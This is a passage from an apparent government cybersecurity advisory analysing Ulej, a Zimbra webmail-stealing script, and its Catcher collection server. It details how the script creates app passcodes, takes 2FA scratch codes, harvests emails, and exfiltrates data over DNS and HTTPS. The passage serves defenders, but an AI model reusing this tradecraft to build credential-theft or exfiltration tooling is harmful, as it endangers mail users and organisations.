<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
